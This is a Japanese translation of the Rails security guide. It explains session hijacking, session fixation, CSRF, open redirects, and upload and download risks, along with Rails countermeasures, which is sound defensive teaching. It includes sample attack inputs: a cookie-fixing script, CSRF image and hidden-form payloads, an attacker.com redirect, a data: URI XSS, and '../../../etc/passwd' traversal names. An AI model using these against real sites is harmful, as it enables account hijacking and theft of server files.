このマニュアルでは、Webアプリケーション全般におけるセキュリティの問題と、Railsでそれらの問題を回避する方法について説明します。
このガイドの内容:
Webアプリフレームワークは、Webアプリケーションを容易に開発できるようにするために作られました。その中にはセキュリティを比較的高めやすいフレームワークもあります。実際のところ、あるフレームワークは他のよりも安全であるということは一概には言えません。正しく用いることができているのであれば、たいていのフレームワークで安全なWebアプリケーションを構築できます (逆に言えば、正しく用いられていなければどんなWebアプリケーションを採用しようとも安全を保つことはできません)。Ruby on Railsには、こうした問題が大事に至らないようにセキュリティを保つための便利なヘルパーメソッド (SQLインジェクション対策用など) がいくつか用意されています。
一般に、導入するだけでたちまちセキュリティを保つことができるような便利なものはありません。セキュリティは、フレームワークを使う人間に強く依存します。場合によっては開発方法もセキュリティに影響することがあります。セキュリティは、Webアプリケーションを構成するあらゆる階層 (バックエンドのストレージ、Webサーバー、Webアプリケーション自身、そしておそらく他の階層なども) に依存しています。
Gartner Groupは、攻撃の75%がWebアプリケーション層に対して行われていると見積もっており、監査を受けた300のWebサイトのうち97%が脆弱性を抱えているという結果を得ています。これは、Webアプリケーションに対する攻撃は比較的行いやすく、一般人も理解や操作が可能なほどにWebアプリケーションがシンプルであるためです。
Webアプリケーションに対する脅威には、ユーザーアカウントのハイジャック、アクセス制御のバイパス、機密データの読み出しや改ざん、不正なコンテンツの表示など、さまざまなものがあります。さらに、攻撃者が金儲けまたは企業資産の改ざんによる企業イメージ損壊の目的で、トロイの木馬プログラムや迷惑メール自動送信プログラムを仕込んだりすることもありえます。このような攻撃を防ぎ、影響を最小限にとどめ、攻撃されやすいポイントを除去するためには、敵の攻撃方法を完全に理解しておくことが何よりも必要です。そうでないと、正しい対策を取ることができません。以上が本ガイドの目的です。
安全なWebアプリケーションを開発するために必要なのは、すべての階層を最新の状態に保つこと、そして敵を知ることです。最新の状態に保つためには、セキュリティメーリングリストを購読し、セキュリティブログにしっかり目を通し、更新プログラムを適用し、セキュリティチェックの習慣を身に付けることです (追加資料の章も参照してください)。筆者はこれらのことを手動で行っていますが、これは、あえて手動で行なうことによって厄介な論理上のセキュリティ問題を発見するための方法となるからです。
セッションは、セキュリティに関する考察を始めるのにおあつらえ向きです。セッションはある種の攻撃の対象になることがあります。
HTTPはステートレスのプロトコルです。セッションは、これをステートフルに変えるものです。
多くのアプリケーションでは、特定のユーザーがどのような状態にあるかを追跡する必要があります。ショッピングサイトの買い物カゴや、現在ログインしているユーザーのidなどがこれに該当します。セッションという概念がなければ、ユーザーの識別・認証をリクエストを発行するたびに行わなければならなくなります。 Railsは、ユーザーがアプリケーションに新しくアクセスするときに自動的にセッションを作成します。ユーザーが既にアプリケーションを利用中であれば、既存のセッションを読み込みます。
通常、セッションを構成する要素は、値のハッシュとセッションidです。セッションIDは32文字の文字列で、ハッシュを特定するために使います。クライアントのブラウザに送信されるCookieには、常にセッションIDが含まれています。別の見方をすると、ブラウザはクライアントからリクエストを送信するたびにcookieを送信します。Railsでは、セッションメソッドを使って値の保存と取り出しを行なうことができます。
session[:user_id] = @current_user.id User.find(session[:user_id])
セッションIDは、32桁の16進数のランダムな文字列です。
セッションIDはSecureRandom.hex
で生成されます。これは暗号学的に安全な乱数を生成するためにプラットフォーム固有の暗号化手法(OpenSSL、/dev/urandom、またはWin32 CryptoAPIなど)を用いてランダムな16進数の文字列を生成します。現時点では、RailsのセッションIDへのブルートフォース攻撃は困難になっています。
ユーザーのセッションIDが盗まれると、攻撃者がそのユーザーをかたってWebアプリケーションを利用できてしまいます。
多くのWebアプリケーションには何らかの認証システムがあります。ユーザーがユーザー名とパスワードを入力すると、Webアプリケーションはそれらをチェックして、対応するユーザーIDをセッションハッシュに保存します。以後、そのセッションは有効になります。リクエストが行われるたびに、Webアプリケーションはセッションで示されたユーザーidを持つユーザーを読み込みます。このときに再度認証を行なう必要はありません。セッションは、cookie内のセッションidによって識別できます。
このように、cookieはWebアプリケーションに一時的な認証機能を提供しています。他人のcookieを奪い取れれば、そのユーザーの権限でWebアプリケーションを使うことができてしまいます。これによっておそらく深刻な結果が生じる可能性があります。セッションハイジャックの手法と対策をいくつかご紹介します。
セキュリティに不備のあるネットワークではcookieを覗き見することができてしまいます。無線LANは、まさにそのようなネットワークの一例です。接続されているクライアントのすべてのトラフィックをのぞき見ることは、暗号化されていない無線LANでは特に簡単に行なえます。喫茶店で仕事をしない方がよい理由はもうひとつあります。Webアプリケーションの開発者にとっては、これはSSLによる安全な接続の提供が必要であるということです。Rails 3.1以降では、アプリケーションの設定ファイルでSSL接続を強制することによって達成できます。
config.force_ssl = true
公共の端末での作業後にcookieを消去するような殊勝なユーザーはほとんどいません。最後のユーザーがWebアプリケーションからログアウトするのを忘れて立ち去っていたら、次のユーザーはそのWebアプリケーションをそのまま使えてしまいます。ユーザーにはログアウトボタンを提供しなければなりません。それもよく目立つボタンをです。
クロスサイトスクリプティング (XSS) 攻撃は、多くの場合、ユーザーのcookieを手に入れるのが目的です。XSSの詳細も参照してください。
攻撃者が自分の知らないcookieをわざわざ盗み取る代りに、自分が知っているcookieのセッションidを固定してしまうという攻撃方法もあります。詳細については後述のセッション固定に関する記述を参照してください。
たいていの場合、攻撃者の目的は金儲けです。Symantec Global Internet Security Threat Reportによると、盗まれた銀行口座アカウントの闇価格は、利用可能な資金にもよりますがだいたい10ドルから1000ドルぐらい、クレジットカード番号が0.40ドルから20ドルぐらい、オンラインオークションサイトのアカウントが1ドルから8ドルぐらい、電子メールのパスワードが4ドルから30ドルくらいで売買されているそうです。
セッションを取り扱う際の一般的な注意について解説します。
セッションには巨大なオブジェクトを格納しないこと。そのような大きなデータはサーバー側のデータベースに格納するようにし、セッションにはそのidだけを保存してください。こうすることで、同期に関して悩まずに済み、セッションのストレージ容量があふれることもありません(セッションの格納先をどこにするかにもよりますが: 後述)。 この方法は、オブジェクトの構造を変更し、変更前の古いオブジェクトが一部のユーザーによってまだ使われているような場合にも有用です。セッションがサーバー側で保存されていればセッションを消去するのは容易ですが、セッションがクライアント側に格納されていると、それを制御するのは厄介です。
セッションに重要なデータを保存しないこと。ユーザーがcookieを消去したりブラウザを閉じたりすると、それらの情報が失われてしまいます。しかも、そのセッションがクライアント側に保存されていると、ユーザーがそのデータを読むことができてしまいます。
Railsにはセッションハッシュを保存するためのしくみが複数用意されています。中でも最も重要なのがActionDispatch::Session::CookieStore
です。
CookieStore
はクライアント側のcookieにセッションハッシュを直接保存します。サーバーはこのセッションハッシュをcookieから取得し、セッションIDの必要性を解消します。これを用いるとアプリケーションのスピードは著しく向上しますが、このストレージオプションについては議論の余地があるため、セキュリティ上の意味やストレージでの制約について十分考えておかなければなりません。
cookieでは、4KBという厳密な上限サイズが暗に求められます。上述したように、いずれの場合もセッションに大量のデータを保存すべきではないため問題はありません。現在のユーザーのデータベースidはセッションに保存するのが普通です。
セッションcookieは自分自身を無効にすることはないため、悪用目的で使い回される可能性があります。保存してあったタイムスタンプを用いて古いセッションcookieをアプリケーションから無効にするのもひとつのよい方法です。
CookieStore
はセッションデータの保管場所をencrypted
cookie jarで安全に暗号化します。これにより、cookieベースのセッションの内容の一貫性と機密性を同時に保ちます。暗号化鍵は、signed
cookieに用いられる検証鍵と同様に、secret_key_base
設定値から導出されます。
Rails 5.2から暗号化されたcookieやセッションはAES GCM暗号化を用いて保護されるようになりました。この暗号化手法は、認証と暗号化を一括で行える認証付き暗号(Authenticated Encryption)の一種であり、生成される暗号化テキストが従来のアルゴリズムに比べて短いという特徴があります。AES GCM方式で暗号化されたcookieの鍵の導出には、config.action_dispatch.authenticated_encrypted_cookie_salt
設定値で定義されるsalt値が用いられます。
1つ前のバージョンの暗号化済みcookieは、HMAC(認証にSHA1を利用)CBCモードを用いたAESで保護されていました。この種の暗号鍵やHMAC検証鍵は、それぞれconfig.action_dispatch.encrypted_cookie_salt
とconfig.action_dispatch.encrypted_signed_cookie_salt
から導出されていました。
Rails 4より前(Rails 2とRails 3の両方)は、セッションcookieの保護に使われていたのはHMAC検証しかありませんでした。このため、これらのセッションcookieではコンテンツの一貫性しか提供されません。これは、実際のセッションデータがBase64でエンコードされた平文形式で保存されるためです。現在のバージョンのRailsでは、これはsigned
cookie向けのしくみに使われています。この種のcookieは、クライアント側に保存される特定のデータや情報の一貫性を保護する目的であれば現在も有用です。
secret_key_base
に安全性の低い秘密鍵(辞書に載っている単語や30文字未満の文字列など)を使ってはいけません。秘密鍵の生成にはrails secret
をお使いください!
暗号化済みcookieと署名済みcookieで使うsalt値を同じにしないことも重要です。複数のsalt設定に異なる値ではなく同じsalt値を使ってしまうと、別のセキュリティ機能で同じ鍵が導出されてしまい鍵の強度が落ちる可能性があります。
test環境とdevelopment環境のアプリケーションでは、アプリケーション名からsecret_key_base
を導出します。それ以外の環境では、必ずconfig/credentials.yml.enc
にあるランダムな鍵を使わなければなりません(以下は復号された状態)。
secret_key_base: 492f...
秘密鍵が漏洩しているアプリケーション(ソースが公開されているアプリケーションなど)を受け取ったら、秘密鍵の変更をぜひとも検討すべきです。
cookie設定のローテーションは、古いcookieが即座に無効にならないようにする理想的な方法です。ユーザーが次回アプリケーションを開いたときに古い設定を含むcookieを読み込み、新しい内容を再び書き込むというものです。十分多くのユーザーがcookieの更新を完了したとみなせれば、ローテーションを削除できます。
ローテーションは、暗号化cookieや署名済みcookieの暗号文およびダイジェストに対して行えます。
たとえば、署名済みcookieのダイジェストをSHA1からSHA256に変更する場合、最初に新しい設定値を代入します。
Rails.application.config.action_dispatch.signed_cookie_digest = "SHA256"
後は古いSHA1ダイジェストのローテーションを追加すれば、既存のcookieがシームレスにSHA256ダイジェストにアップグレードされます。
Rails.application.config.action_dispatch.cookies_rotations.tap do |cookies| cookies.rotate :signed, digest: "SHA1" end
以後の署名済みcookieはすべてSHA256でダイジェストされて書き込まれます。古いSHA1 cookieも従来どおり読み出され、しかもアクセス時には新しいダイジェストで書き込まれます。これによってアップグレードが完了し、かつローテーションを削除しても無効になりません。
署名済みcookieがSHA1でダイジェストされているユーザーへのcookie更新を打ち切ることが決まったら、ローテーションを削除します。
ローテーションはいくつでも好きなだけ設定できますが、一度に多数のローテーションを実施するのは一般的ではありません。
暗号化メッセージや署名済みメッセージの鍵ローテーション、およびrotate
メソッドで使えるさまざまなオプションについては、MessageEncryptor APIドキュメントやMessageVerifier APIドキュメントを参照してください。
CookieStore
を扱うのであれば、もう一つの攻撃方法である「再生攻撃 (replay attack)」についても知っておく必要があります。
この動作は次のようになります。
この再生攻撃は、セッションにnonce (1回限りのランダムな値) を含めておくことで防ぐことができます。nonceが有効なのは1回限りであり、サーバーはnonceが有効かどうかを常に追跡し続ける必要があります。複数のアプリケーションサーバーで構成された、合いの子アプリケーションの場合、さらに複雑になります。nonceをデータベースに保存してしまうと、せっかくデータベースへのアクセスを避けるために設置したCookieStoreを使う意味がなくなってしまいます。
結論から言うと、 この種のデータはセッションではなくデータベースに保存するのが最善です。この場合であれば、クレジットをデータベースに保存し、logged_in_user_idをセッションに保存します。
ユーザーのセッションIDを盗む代りに、攻撃者が意図的にセッションIDを既知のものに固定するという方法があります。この手法はセッション固定 (session fixation) と呼ばれます。
この攻撃では、ブラウザ上のユーザーのセッションIDを攻撃者が知っているセッションidに密かに固定しておき、ブラウザを使うユーザーが気付かないうちにそのセッションIDを強制的に使わせます。この方法であれば、セッションIDを盗み出す必要すらありません。攻撃方法は次のとおりです。
<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>
。XSSとインジェクションの詳細については後述します。セッション固定攻撃は、たった1行のコードで防止できます。
最も効果的な対応策は、ログイン成功後に古いセッションを無効にし、新しいセッションidを発行することです。これなら、攻撃者がセッションidを固定する余地はありません。この対応策は、セッションハイジャックにも有効です。Railsで新しいセッションを作成する方法を以下に示します。
reset_session
ユーザー管理用にDeviseなどの有名なgemを導入しているのであれば、ログイン/ログアウト時にセッションが自動的に切れるようになります。もし自分で管理する場合は、ログインした後 (セッションが作られた後) にセッションを切るように注意してください。上のメソッドを実行するとセッションにあるすべての値が削除されるので、新しいセッションにそれらの値を移行しておく必要があります。
その他の対応策として、セッションにユーザー固有のプロパティを保存しておき、ユーザーからリクエストを受けるたびに照合して、マッチしない場合はアクセスを拒否するという方法もあります。ユーザー固有のプロパティとして利用可能な情報には、リモートIPアドレスや user agent (= webブラウザの名前) がありますが、後者は完全にユーザー固有とは限りません。IPアドレスを保存して対応する場合、インターネットサービスプロバイダ (ISP) や大企業からのアクセスはプロキシ越しに行われていることが多いことを忘れないようにしておく必要があります。IPアドレスはセッションの途中で変わる可能性があるため、IPアドレスをユーザー固有の情報として使おうとすると、ユーザーがWebアプリケーションにアクセスできなくなったり、ユーザーの利用に制限が加わる可能性があります。
セッションを無期限にすると、攻撃される機会を増やしてしまいます (クロスサイトリクエストフォージェリ (CSRF)、セッションハイジャック、セッション固定など)。
セッションIDを持つcookieのタイムスタンプに有効期限を設定するという対応策も考えられなくはありません。しかし、ブラウザ内に保存されているcookieをユーザーが編集できてしまう点は変わらないので、やはりサーバー側でセッションを期限切れにする方が安全です。 データベーステーブルのセッションを期限切れにするには、たとえば次のように行います。Session.sweep("20 minutes")
を呼ぶと、20分以上経過したセッションが期限切れになります。
class Session < ApplicationRecord def self.sweep(time = 1.hour) if time.is_a?(String) time = time.split.inject { |count, unit| count.to_i.send(unit) } end delete_all "updated_at < '#{time.ago.to_s(:db)}'" end end
この節では、セッション保持の問題のところで触れたセッション固定攻撃について説明します。攻撃者が5分おきにセッションを維持すると、サーバー側でセッションを期限切れにしようとしてもセッションを恒久的に継続させることができてしまいます。これに対する単純な対策は、セッションテーブルにcreated_at
カラムを追加することです。これで、期限を過ぎたセッションを削除できます。上のsweep
メソッドで以下のコードを使います。
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
この攻撃方法は、ユーザーによる認証が完了したと考えられるWebアプリケーションのページに、悪意のあるコードやリンクを仕込むというものです。そのWebアプリケーションへのセッションがタイムアウトしていなければ、攻撃者は本来認証されていないはずのコマンドを実行できてしまいます。
セッションの章で、多くのRailsアプリケーションがcookieベースのセッションを使っていることを説明しました。このとき、セッションIDをcookieに保存してサーバー側にセッションハッシュを持つか、すべてのセッションハッシュをクライアント (ブラウザ) 側に持ちます。どちらの場合にも、ブラウザはリクエストのたびにcookieを自動的にドメインに送信します (そのドメインで利用できるcookieがある場合)。ここで問題となるのは、異なるドメインに属するサイトからリクエストがあった場合にもブラウザがcookieを送信してしまうという点です。以下の例で考えてみましょう。
<img src="http://www.webapp.com/project/1/destroy">
)です。www.webapp.com
に対するボブのセッションはまだ期限切れになっていません。www.webapp.com
からその怪しい画像を読み出そうとします。前述のとおり、このときに有効なセッションidを含むcookieも一緒に送信されます。www.webapp.com
のWebアプリケーションは、リクエストに対応するセッションハッシュに含まれるユーザー情報が有効であると認定し、その指示に従ってID 1のプロジェクトを削除します。そしてブラウザは結果ページを表示して何らかの問題が生じたことを示します。画像は表示されません。ここで重要なのは、仕掛けのある画像やリンクの置き場所はWebアプリケーションのドメインに限らないということです。フォーラム、ブログ、email、どこにでも置けます。
CSRFは、CVE (Common Vulnerabilities and Exposures) で報告されることはめったにありません (2006年でも0.1%以下) が、それでも「眠れる巨人」[Grossman] であり、危険なことに変わりはありません。筆者や他のセキュリティ専門家によるセキュリティ関連の実績に登場することはほとんどありませんが、CSRFは非常に重大なセキュリティ問題であることは強く認識していただきたいと思います。
第一に、W3Cが要求しているとおり、GETとPOSTを適切に使いましょう。第二に、GET以外のリクエストにセキュリティトークンを追加することで、WebアプリケーションをCSRFから守ることができます。
HTTPプロトコルは2つの基本的なリクエストであるGETとPOST(DELETE、PUT、PATCHはPOSTと同様に使われるべきです)を提供しています 。World Wide Web Consortium (W3C) は、HTTPのGETやPOSTを選択する際のチェックリストを提供しています。
以下の場合はGETを使うこと
以下の場合はPOSTを使うこと
WebアプリケーションがRESTfulであれば、PATCH、PUT、DELETEなどのHTTPメソッドも使われているでしょう。しかし、一部のブラウザはこれらのメソッドをサポートしていません。確実にサポートされているのはGETとPOSTだけです。Railsでは_method
という隠しフィールドを使ってこれらのHTTPメソッドをサポートしています。
POSTリクエストも (意図に反して) 自動的に送信されることがありえます。ブラウザのステータスバーに、www.harmless.com というWebサイトへのリンクが表示されているとします。そしてこのリンクに仕掛けがあり、POSTリクエストをこっそり送信する新しいフォームを動的に作成するようになっているとします。
<a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); f.style.display = 'none'; this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless survey</a>
あるいは、攻撃者がこのコードを画像のonmouseover
イベントハンドラに仕込んであるとします。
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
<script>
タグを使って、JSONPやJavaScriptの応答を伴う特定のURLへのクロスサイトリクエストを作成するなど、攻撃方法は多種多様です。この応答は攻撃者が実行方法を見つけ出したコードであり、機密データを取り出すことができる可能性があります。このようなデータ流出を防止するには、クロスサイトの<script>
タグを無効にします。ただしAjaxリクエストはブラウザの「同一生成元ポリシー」に従って動作する(XmlHttpRequest
を開始できるのは自サイトのみ)ため、JavaScriptレスポンスを返すことを安全に許可できます。
Note: <script>
タグのoriginが同じサイトか悪意のあるサイトかは、区別しようがありません。このため<script>
タグは、たとえ実際には自サイトからの同一originのスクリプトであっても、全面的にブロックしなければなりません。このような場合、<script>
を対象にJavaScriptを使う操作については明示的にCSRF保護をスキップしてください。
この種の偽造リクエストをすべて防止するには、必須セキュリティトークンを導入します。このトークンは自分のサイトだけが知っており、他のサイトは知りません。リクエストにはこのセキュリティトークンを含め、サーバー側でこれを検証します。以下の1行コードはアプリケーションのコントローラに追加するものであり、Railsで新規作成したアプリケーションにはこのコードがデフォルトで含まれます。
protect_from_forgery with: :exception
このコードがあると、Railsで生成されるすべてのフォームとAjaxリクエストにセキュリティトークンが自動的に含まれます。セキュリティトークンがマッチしない場合には例外がスローされます。
Railsにデフォルトで含まれるunobtrusive scripting adapterが追加するX-CSRF-Token
というヘッダーには、GET以外のあらゆるAjax呼び出しでセキュリティトークンを含みます。このヘッダーがないと、RailsはGET以外のAjaxリクエストを受け付けなくなります。Ajax呼び出しに他のライブラリを使う場合は、そのライブラリのAjax呼び出しのデフォルトのヘッダーにセキュリティトークンを追加する必要があります。このトークンを取得するにはアプリケーションのビューで<%= csrf_meta_tags %>
から出力される<meta name='csrf-token' content='THE-TOKEN'>
タグをご覧ください。
恒常的なcookieにユーザー情報を保存する (たとえばcookies.permanent
などに) ことはよく行われています。この場合cookieは消去されないことにご注意ください。そして、前述の保護機構の外ではCSRFからの保護は受けられないということになります。何らかの理由でこのような情報をセッション以外のcookieストアに保存したい場合は、Railsによる保護を受けられなくなるので、開発者自身がセキュリティ対策を行わなければなりません。
rescue_from ActionController::InvalidAuthenticityToken do |exception| sign_out_user # ユーザーのcookieを削除するメソッドの例 end
前述のメソッドはApplicationController
に置くことができます。そして、非GETリクエストにCSRFトークンがない場合やトークンが無効な場合にこのメソッドが呼び出されます。
気を付けていただきたいのは、クロスサイトスクリプティング (XSS) 脆弱性は、あらゆるCSRF保護を迂回してしまうということです。XSS脆弱性が存在すると、攻撃者はWebページのあらゆる要素にアクセスできてしまいます。そのため、フォームからCSRFセキュリティトークンを読みだしてそのフォームを直接送信することができてしまいます。後述のXSSの詳細にも目を通してください。
セキュリティ上の脆弱性として次に検討したいのは、Webアプリケーションにおける「リダイレクトとファイル」です。
Webアプリケーションにおけるリダイレクトは、過小評価されがちなクラッキングツールです。攻撃者はこれを使ってユーザーを危険なWebサイトに送り込んだり、Webサイト自体に罠を仕掛けたりすることもできます。
リダイレクト用のURL (の一部) をユーザーが受け入れてしまうと、潜在的な脆弱性となります。最もあからさまな攻撃方法としては、ユーザーを本物そっくりの偽Webサイトにリダイレクトすることが考えられます。これは俗に「フィッシング(phishing)」や「釣り」などと呼ばれる攻撃手法です。具体的には、無害を装ったリンクを含むメールをユーザーに送りつけ、XSSを使ってそのリンクをWebアプリケーションに注入したり、リンクを外部サイトに送信したりします。このリンクはそのWebアプリケーションのURLで始まっているので、一見無害に見えます。危険なサイトに導くURLはリダイレクトのパラメータの中に隠されています ( http://www.example.com/site/redirect?to=www.attacker.com )。ここではlegacy
アクションを例示します。
def legacy redirect_to(params.update(action:'main')) end
このコードは、legacy
アクションに対するアクセスがあれば、ユーザーをメインのアクションにリダイレクトします。このコードの本来の意図は、従来のアクションへのURLパラメータを保護し、それをメインのアクションに渡すことです。しかし、このURLにホスト鍵が含まれていると、攻撃者に悪用される可能性があります。
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
URLの末尾にあるホスト鍵は気付かれにくく、ユーザーはattacker.comホストにリダイレクトされてしまいます。単純な対応策としては、legacyアクションでは想定されたパラメータだけを含めるようにするという方法があります (これはホワイトリスト的アプローチであり、想定されていないパラメータを除外する方法とは真逆です)。 URLをリダイレクトする場合は、ホワイトリストまたは正規表現でチェックしてください。
データプロトコルを使うことで、FirefoxとOperaに対して別のタイプのリダイレクションと自己完結型XSS攻撃を実行できてしまいます。データプロトコルは、その内容をブラウザに直接表示できます。しかも、HTML、JavaScriptや丸ごとの画像イメージなど、何でも含められます。
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
この例ではBase64でエンコードされたJavaScriptを使っています。このJavaScriptは単にメッセージボックスを表示します。リダイレクションURL攻撃では、攻撃者がこのような悪意のあるコードを含んだURLへのリダイレクトを行います。この攻撃への対応策は、リダイレクトするURL(あるいはその一部)をユーザーから渡せないようにすることです。
ファイルがアップロードされたときに重要なファイルが上書きされることのないようにしましょう。また、メディアファイルの処理は非同期で行なうようにしましょう。
多くのWebアプリケーションでは、ユーザーがファイルをアップロードできるようになっています。ユーザーが選択/入力できるファイル名 (またはその一部) は必ずフィルタしてください。攻撃者が危険なファイル名をわざと使ってサーバーのファイルを上書きしようとする可能性があるためです。ファイルが /var/www/uploads ディレクトリにアップロードされ、そのときにファイル名が「../../../etc/passwd」と入力されていると、重要なファイルが上書きされてしまう可能性があります。言うまでもなく、Rubyインタプリタにそれだけの実行権限が与えられていなければ、そのような上書きは実行できません。Webサーバー、データベースサーバーなどのプログラムは、比較的低い権限を持つUnixユーザーとして実行されているのが普通です。
さらにもう一つ注意があります。ユーザーが入力したファイル名をフィルタするときに、ファイル名から危険な部分を取り除こうとしないことです。Webアプリケーションがファイル名から「../」という文字を取り除くことができるとしても、今度は攻撃者が「....//」のようなその裏をかくパターンを使えば、やはり「../」という相対パスが通ってしまい、きりがありません。最も良いのは「ホワイトリスト」によるアプローチです。これは ファイル名が有効であるかどうか (指定された文字だけが使われているかどうか) をチェックするものです。これは「ブラックリスト」アプローチと逆の手法です。こちらは、利用が許されてない文字を除去します。ファイル名が無効の場合は、拒否するか、無効な文字を置き換えますが、取り除くわけではありません。attachment_fu pluginのファイル名サニタイザを以下に示します。
def sanitize_filename(filename) filename.strip.tap do |name| # メモ: File.basenameは、Unix上でのWindowsパスに対しては正常に動作しません # フルパスではなくファイル名のみを取得 name.sub! /\A.*(\\|\/)/, '' # 最終的に非英数文字をアンダースコアまたは # ピリオドとアンダースコアに置き換え name.gsub! /[^\w\.\-]/, '_' end end
(attachment_fuプラグインが画像に対して行なうように) ファイルのアップロードを同期的に行なうと、セキュリティ上かなり不利になります。サービス拒否 (DoS) 攻撃の脆弱性が生じるためです。攻撃者は、同期的に行われる画像ファイルアップロードを多数のコンピュータから同時に実行することで、サーバーに高負荷をかけて最終的にサーバーをクラッシュまたは動作停止に陥らせます。
これに対する最善のソリューションは、メディアファイルを非同期的に処理することです。メディアファイルを保存し、その後データベース内への処理のリクエストをスケジューリングします。2つ目の処理は、バックグラウンドで行います。
アップロードされたファイルに含まれるソースコードが特定のディレクトリに置かれていると、ソースコードが実行可能になってしまう可能性があります。Railsの/publicディレクトリがApacheのホームディレクトリになっている場合は、ここにアップロードファイルを置いてはいけません。
広く使われているApache WebサーバーにはDocumentRootというオプションがあります。これはWebサイトのホームディレクトリであり、このディレクトリツリーに置かれているものはすべてWebサーバーによって取り扱われます。そこに置かれているファイルの名前に特定の拡張子が与えられていると、それに対してリクエストが送信された時に実行されてしまうことがあります (何らかのオプションを与える必要があるかもしれません)。実行される可能性のある拡張子は、たとえばPHPやCGIなどです。攻撃者が「file.cgi」というファイルをアップロードし、その中に危険なコードが仕込まれているとします。このファイルを誰かがダウンロードすると、このコードが実行されます。
ApacheのDocumentRootがRailsの/publicディレクトリを指している場合、アップロードファイルをここに置かないでください。少なくとも1階層下にする必要があります。
ユーザーが任意のファイルをダウンロードできる状態を作らないこと。
ファイルアップロード時にファイル名のフィルタが必要だったのと同様、ファイルのダウンロード時にもファイル名をフィルタする必要があります。以下のsend_file()
メソッドは、サーバーからクライアントにファイルを送信します。フィルタ処理されていないファイル名を使うと、ユーザーが任意のファイルをダウンロードできるようになってしまいます。
send_file('/var/www/uploads/' + params[:filename])
「../../../etc/passwd」のようなファイル名を渡せば、サーバーのログイン情報をダウンロードできてしまいます。これに対するシンプルな対応策は、リクエストされたファイル名が、想定されているディレクトリにあるかどうかをチェックすることです。
basename = File.expand_path('../../files', __dir__) filename = File.expand_path(File.join(basename, @file.public_filename)) raise if basename != File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, disposition: 'inline'
その他に、ファイル名をデータベースに保存しておき、サーバーのディスク上に置く実際のファイル名には代りにデータベースのidを使う方法も併用できます。この方法も、アップロードファイルが実行される可能性を回避する方法として優れています。attachment_fuプラグインでも同様の手法が採用されています。
イントラネットおよび管理画面インターフェイスは、強い権限が許されているため、何かと攻撃の目標にされます。イントラネットおよび管理画面インターフェイスには、他よりも手厚いセキュリティ対策が必要ですが、現実には逆にむしろこれらの方がセキュリティ対策が薄いということがしばしばあります。
2007年、その名もMonster.comというオンラインリクルート用Webアプリケーションで、特別に作られたトロイの木馬プログラムによってイントラネットから情報が盗み出され、文字どおり経営者にとってのモンスターとなった事件がありました。トロイの木馬をわざわざ特別に誂えるというのはこれまでも非常にまれなことであり、リスクとしては相当低いと言えますが、それでもゼロではありませんし、クライアントホストのセキュリティも重要であるという好例でもあります。ただし、イントラネットや管理アプリケーションにとって最も脅威なのはXSSとCSRFです。
XSS: 悪意のあるユーザーがイントラネットの外から入力したデータがWebアプリケーションで再表示されると、WebアプリケーションがXSS攻撃に対して脆弱になります。ユーザー名、コメント、スパムレポート、注文フォームの住所のような情報すらXSS攻撃に使われることがあります。
管理画面やイントラネットで1箇所でもサニタイズ漏れがあれば、アプリケーション全体が脆弱になってしまいます。想定される攻撃としては、管理者のcookieの盗み出し、管理者パスワードを盗み出すためのiframe注入、管理者権限奪取のためにブラウザのセキュリティホールを経由して邪悪なソフトウェアをインストールする、などが考えられます。
XSS対策の注入に関する節を参照してください。
CSRF: クロスサイトリクエストフォージェリ (Cross-Site Request Forgery) はクロスサイトリファレンスフォージェリ (XSRF: Cross-Site Reference Forgery) とも呼ばれ、非常に強力な攻撃手法です。この攻撃を受けると、管理者やイントラネットユーザーができることをすべて行えるようになってしまいます。CSRFについては既に説明しましたので、ここでは攻撃者がイントラネットや管理画面に対して攻撃を仕掛ける手順をいくつかの事例を示して説明します。
現実に起きた事例としてCSRFによるルーター再構成 を取り上げましょう。この攻撃者は、CSRFを仕込んだ危険なメールをメキシコの多数のユーザーに送信しました。このメールには、「お客様のeカードをご用意いたしました」と書かれており、imageタグが含まれていました。そしてそのタグには、ユーザーのルーターを再構成してしまうHTTP GETリクエストが仕込まれていました。このルーターは、メキシコで広く普及しているモデルでした。このリクエストによってDNS設定が変更され、メキシコで事業を行っているネットバンキングWebサイトの一部が、攻撃者のWebサイトにマップされてしまいました。このルーターを経由してこのネットバンキングサイトにアクセスすると、攻撃者が設置した偽のWebサイトが開き、信用情報が盗まれてしまいました。
Google Adsenseのメールアドレスとパスワードが変更された事例もあります。標的となったユーザーがGoogle Adsenseにログインし、Google広告キャンペーン用の管理画面を開くと、攻撃者が信用情報を盗み出すことができてしまいました。
他の有名な事例としては、危険なXSSを拡散するために一般のWebアプリケーションやブログ、掲示板が利用された事件があります。言うまでもなく、この攻撃を成功させるためには攻撃者がURL構造を知っている必要がありますが、RailsのURLはかなり構造が素直であるため、オープンソースの管理画面を使っていると構造を容易に推測できてしまいます。攻撃者は、ありそうなIDとパスワードの組み合わせを総当りで試す危険なImageタグを送り込むだけで、数千件ものまぐれ当たりを獲得することもあります。
管理画面やイントラネットへのCSRF攻撃への対策については、CSRFの対策についての節を参照してください。
管理画面は、多くの場合次のような作りになっているものです。www.example.com/adminのようなURLに置かれ、Userモデルのadminフラグがセットされている場合だけ、ここにアクセスできます。ユーザー入力が管理画面で再表示されると、管理者の権限でどんなデータでも削除/追加/編集できてしまいます。これについて考察してみましょう。
常に最悪の事態を想定することは極めて重要です。「誰かが自分のcookieやユーザー情報を盗み出すことができたらどうなるか」。管理画面にロール (role)を導入することで、攻撃者が行える操作の範囲を狭めることができます。1人の管理者に全権を与えるのではなく、権限を複数管理者で分散する方法や、管理画面用に特別なログイン情報を別途設置するという方法もあります。一般ユーザーが登録されているUserモデルに管理者も登録し、管理者フラグで分類していると攻撃されやすいので、これを避けるためです。極めて重要な操作では別途特殊なパスワードを要求するようにするという方法もあります。
管理者は、必ずしも世界中どこからでもそのWebアプリケーションにアクセスできる必要性はないはずです。送信元IPアドレスを一定の範囲に制限するという方法を考えてみましょう。request.remote_ip
メソッドを使えばユーザーのIPアドレスをチェックできます。この方法は攻撃に対する直接の防弾にはなりませんが、検問としては非常に有効です。プロキシを用いて送信元IPアドレスを偽る方法があることもお忘れなく。
